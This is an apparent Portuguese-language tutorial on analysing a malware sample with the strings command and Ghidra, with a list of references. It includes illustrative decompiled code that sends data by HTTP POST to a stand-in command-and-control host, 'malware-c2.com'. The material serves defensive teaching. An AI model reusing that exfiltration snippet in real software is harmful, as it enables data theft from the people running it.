
A análise de um binário malicioso, como o malware.9999.exe
, é uma etapa crucial para entender seu comportamento e funcionalidades. Duas ferramentas essenciais para essa análise são o strings
e o Ghidra. Abaixo, vamos explorar exemplos práticos de como utilizar essas ferramentas para analisar o binário.
1. Análise com strings
O comando strings
extrai sequências de caracteres legíveis de um binário, o que pode revelar informações úteis, como URLs, comandos, mensagens de erro ou outras strings embutidas no código.
1.1 Executando o strings
no Binário
Comando:
strings output/malware.9999.exe
Saída no Shell:
http://malware-c2.com/update http://malware-c2.com/data GetProcAddress LoadLibraryA CreateFileA WriteFile ReadFile ExitProcess USER32.dll KERNEL32.dll "Senha: %s" "Erro ao conectar ao servidor" "Executando payload..."
Análise:
-
URLs:
http://malware-c2.com/update
ehttp://malware-c2.com/data
podem indicar servidores de comando e controle (C2). -
Funções da API do Windows:
GetProcAddress
,LoadLibraryA
,CreateFileA
, etc., sugerem que o malware interage com o sistema operacional. -
Mensagens embutidas: Strings como
"Senha: %s"
e"Erro ao conectar ao servidor"
podem indicar funcionalidades específicas do malware.
1.2 Filtrando Strings Relevantes
Você pode usar o comando grep
para filtrar strings específicas, como URLs ou palavras-chave.
Comando:
strings output/malware.9999.exe | grep "http://"
Saída no Shell:
http://malware-c2.com/update http://malware-c2.com/data
Análise:
-
As URLs filtradas confirmam a comunicação do malware com servidores C2.
2. Análise com Ghidra
O Ghidra é uma ferramenta de engenharia reversa desenvolvida pela NSA. Ele permite descompilar binários e analisar seu código-fonte, mesmo que esteja em linguagem de máquina.
2.1 Importando o Binário no Ghidra
-
Inicie o Ghidra:
ghidraRun
-
Crie um novo projeto:
-
Vá em File > New Project.
-
Escolha Non-Shared Project e nomeie o projeto (por exemplo,
Malware_Analysis
).
-
-
Importe o binário:
-
Vá em File > Import File.
-
Selecione o arquivo
malware.9999.exe
.
-
-
Analise o binário:
-
Clique em OK para iniciar a análise automática.
-
O Ghidra irá descompilar o binário e exibir o código-fonte aproximado.
-
2.2 Analisando o Código Descompilado
2.2.1 Identificando Funções Principais
-
No painel Symbol Tree, expanda a seção Functions.
-
Procure por funções suspeitas, como
main
,WinMain
, ou funções com nomes relacionados a comunicação de rede (send
,recv
).
Exemplo de função descompilada:
void FUN_00401000(void) { HANDLE hFile; char buffer[256]; DWORD bytesWritten; hFile = CreateFileA("C:\\malware_output.txt", GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile != INVALID_HANDLE_VALUE) { strcpy(buffer, "Dados exfiltrados pelo malware"); WriteFile(hFile, buffer, strlen(buffer), &bytesWritten, NULL); CloseHandle(hFile); } return; }
Análise:
-
A função
FUN_00401000
cria um arquivo chamadomalware_output.txt
e escreve dados nele. -
Isso sugere que o malware pode estar exfiltrando informações para o sistema de arquivos.
2.2.2 Identificando Chamadas de API
-
No painel Decompile, procure por chamadas de API suspeitas, como
CreateFileA
,WriteFile
,InternetOpenA
,InternetReadFile
, etc.
Exemplo de Chamada de API:
HINTERNET hInternet = InternetOpenA("User-Agent",
INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (hInternet != NULL) { HINTERNET hConnect = InternetConnectA(hInternet, "malware-c2.com",
INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0); if (hConnect != NULL) { HINTERNET hRequest = HttpOpenRequestA(hConnect, "POST", "/data",
NULL, NULL, NULL, 0, 0); if (hRequest != NULL) { HttpSendRequestA(hRequest, NULL, 0, "Dados exfiltrados", strlen("Dados exfiltrados")); } } }
Análise:
-
O código faz uma requisição HTTP POST para
malware-c2.com/data
. -
Isso confirma que o malware está se comunicando com um servidor C2 para exfiltrar dados.
2.3 Identificando Strings no Ghidra
-
No painel Defined Strings, procure por strings relevantes, como URLs, mensagens de erro ou comandos.
Exemplo de Strings Encontradas:
http://malware-c2.com/update http://malware-c2.com/data "Senha: %s" "Erro ao conectar ao servidor"
Análise:
-
As URLs confirmam a comunicação com servidores C2.
-
As mensagens sugerem funcionalidades específicas, como coleta de senhas.
3. Documentando as descobertas
Após a análise, documente todas as descobertas, incluindo:
-
Strings relevantes: URLs, comandos, mensagens.
-
Funções suspeitas: Código relacionado à exfiltração de dados, comunicação de rede, etc.
-
Chamadas de API: Funções do Windows API usadas pelo malware.
Conclusão
A análise de um binário malicioso com strings
e Ghidra revela informações valiosas sobre seu comportamento e funcionalidades. Enquanto o strings
fornece uma visão rápida das strings embutidas, o Ghidra permite uma análise profunda do código-fonte, incluindo chamadas de API e lógica do programa.
Combinando essas ferramentas, você pode entender como o malware opera, identificar seus objetivos e tomar medidas para mitigar seus efeitos. Para análises mais avançadas, considere explorar outras ferramentas de engenharia reversa, como IDA Pro ou Radare2.
Aqui estão algumas referências bibliográficas e recursos úteis sobre Ghidra e o comando strings apresentados, que são ferramentas importantes para análise de binários e engenharia reversa:
1. Ghidra
Ghidra é uma ferramenta de engenharia reversa desenvolvida pela NSA (National Security Agency) e disponibilizada como software de código aberto. Ele é usado para analisar binários, descompilar código e entender o funcionamento de programas.
Referências:
-
Site Oficial:
https://ghidra-sre.org/-
Aqui você encontra o download da ferramenta, documentação oficial e tutoriais.
-
-
Documentação Oficial:
A documentação do Ghidra está incluída na instalação da ferramenta e também está disponível online. Ela cobre desde a instalação até o uso avançado de funcionalidades. -
Livros:
-
“Ghidra Software Reverse Engineering for Beginners” por A. P. David
Este livro é uma introdução prática ao Ghidra, ideal para quem está começando com engenharia reversa. -
“The Ghidra Book: The Definitive Guide” por Chris Eagle e Kara Nance
Um guia abrangente e detalhado sobre o Ghidra, escrito por especialistas em engenharia reversa.
-
-
Tutoriais Online:
-
Ghidra Tutorials no YouTube
Há vários tutoriais em vídeo que cobrem desde o básico até técnicas avançadas. -
Ghidra GitHub Repository
O repositório oficial no GitHub contém o código-fonte e issues para contribuições.
-
2. Strings
O comando strings é uma ferramenta simples, mas poderosa, usada para extrair sequências de caracteres legíveis de arquivos binários. Ele é frequentemente usado em análises preliminares de binários para identificar informações como textos, URLs, mensagens de erro, etc.
Referências:
-
Man Page do Strings (Linux):
No terminal Linux, você pode acessar o manual do comandostrings
digitando:man strings
Isso fornece uma descrição detalhada das opções e funcionalidades do comando.
-
Livros:
-
“Hacking: The Art of Exploitation” por Jon Erickson
Este livro cobre técnicas básicas e avançadas de hacking, incluindo o uso de ferramentas comostrings
para análise de binários. -
“Practical Reverse Engineering” por Bruce Dang, Alexandre Gazet, Elias Bachaalany
Um livro focado em engenharia reversa, que discute o uso de ferramentas comostrings
em cenários práticos.
-
-
Tutoriais Online:
-
Um guia prático com exemplos de uso do comando
strings
. -
Using Strings for Binary Analysis
Fóruns como o Stack Exchange têm discussões úteis sobre o uso destrings
em engenharia reversa.
3. Integração de Ghidra e Strings
Em análises de binários, é comum usar o strings
como uma ferramenta inicial para identificar informações relevantes e depois aprofundar a análise com o Ghidra. Por exemplo:
-
Use
strings
para extrair textos e identificar possíveis funções ou mensagens. -
Importe o binário no Ghidra para descompilar o código e entender a lógica do programa.
4. Ferramentas Relacionadas
-
Radare2: Outra ferramenta de engenharia reversa que pode ser usada em conjunto com Ghidra.
-
IDA Pro: Uma alternativa paga ao Ghidra, amplamente usada em engenharia reversa.
-
Binwalk: Ferramenta para análise de firmware e extração de arquivos de binários.